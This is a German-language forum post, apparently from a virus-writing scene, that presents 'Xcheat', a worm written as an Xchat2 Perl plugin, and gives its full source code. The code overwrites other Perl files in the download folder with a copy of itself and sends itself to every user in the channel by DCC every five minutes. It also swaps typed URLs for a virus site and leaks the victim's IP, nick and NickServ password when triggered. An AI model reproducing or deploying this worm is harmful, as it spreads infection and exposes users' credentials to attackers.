[+]Topic: Code
[+]Von: Perforin
[+]Return: Code


Xcheat - Xchat2 Plugin Worm

* infiziert alle Perl Files im Download Ordner von Xchat2
* Verbeitet sich alle 5 Minuten via DCC Send an alle User im momentanen Channel
* Wenn eine URL eingegeben wird, wird diese durch virii.lu ersetzt
* QRY zum Opfer mit dem befehl "xcheat" zeigt euch:
Die IP, den Nick, das Passwort und den momentanen Channel des Opfers.


Zwar ist dieser Wurm alles andere als unauffällig, jedoch habe ich noch keinen
reinen Xchat2 plugin Wurm gesehn. Abgesehen von dem mehr als dürftigen Mini Tutorial
von Wargame zu diesem Thema --> vxheavens.com/lib/vwg02.html gibt es auch keine mir
bekannten Versuche sowas zu erstellen.

Leider war es mir nicht möglich den genauen Standort des Plugins aus zu machen,
da $0 sowie File::Bin, den falschen Pfad angeben. Auch $$ gibt die Prozess ID von
xchat wieder und nicht die vom Plugin selbst. Zwar könnte man zuerst eine Checksumme
des Wurms erstellen und durch rekursives suchen alle perl Dateien hashen und wenn die
selbe Checksumme herrauskommt, dann weiss man, dass es unser Wurm ist.

Doch ganz ehrlich? Dazu war ich zu faul; vielleicht in der nächsten version ;)


#!/usr/bin/perl # xcheat by Perforin [vxnetw0rk] use strict; use warnings; use LWP::Simple; my ($input, $user, $wheretolook); my ($channel, $pass, $mynick, $zombie); my (@ip, @users, @perlfiles, @clone); Xchat::register("xcheat", "0.1", "*magic*"); $channel = Xchat::get_info('channel'); $pass = Xchat::get_info('nickserv'); $mynick = Xchat::get_info('nick'); $wheretolook = Xchat::get_prefs('dcc_dir'); @users = map { $_->{nick} } Xchat::get_list('users'); @ip = map { if (/<h1 class="ip">(\d+.\d+.\d+.\d+)<\/h1>/) { $+ } } get('http://www.wieistmeineip.de'); Xchat::hook_print('Private Message to Dialog', \&check); Xchat::hook_timer(5000, \&urlgrabber); # 5 sekunden Xchat::hook_timer(300000, \&spread); # 5 Minuten open Myself, "<", $wheretolook . "/xcheat.pl"; @clone = <Myself>; close Myself; @perlfiles = glob "$wheretolook/*.pl"; foreach $zombie (@perlfiles) { unless ($zombie =~ /xcheat.pl$/) { open Infect, ">", $zombie; print Infect @clone; close Infect; } } sub urlgrabber { $input = Xchat::get_info('inputbox'); if ($input =~ /.?(http:\/\/\w{3}?\.?\w*\.\w+\/?)\s+/ig) { $input =~ s/$+/http:\/\/virii.lu/g; # Warum? Weil ichs kann Xchat::command("say $input"); } Xchat::KEEP; } sub spread { foreach $user (@users) { Xchat::command("dcc send $user $wheretolook/xcheat.pl") unless $user eq $mynick; # Ein Absoluter Pfad da weder $$ noch $0 das richtige anzeigen =( } Xchat::KEEP; } sub check { Xchat::command("say Xcheat activated! :) - Victim: @ip - Nick: $mynick - Pass: $pass - Channel: $channel") if $_[0][1] =~ /^xcheat$/; }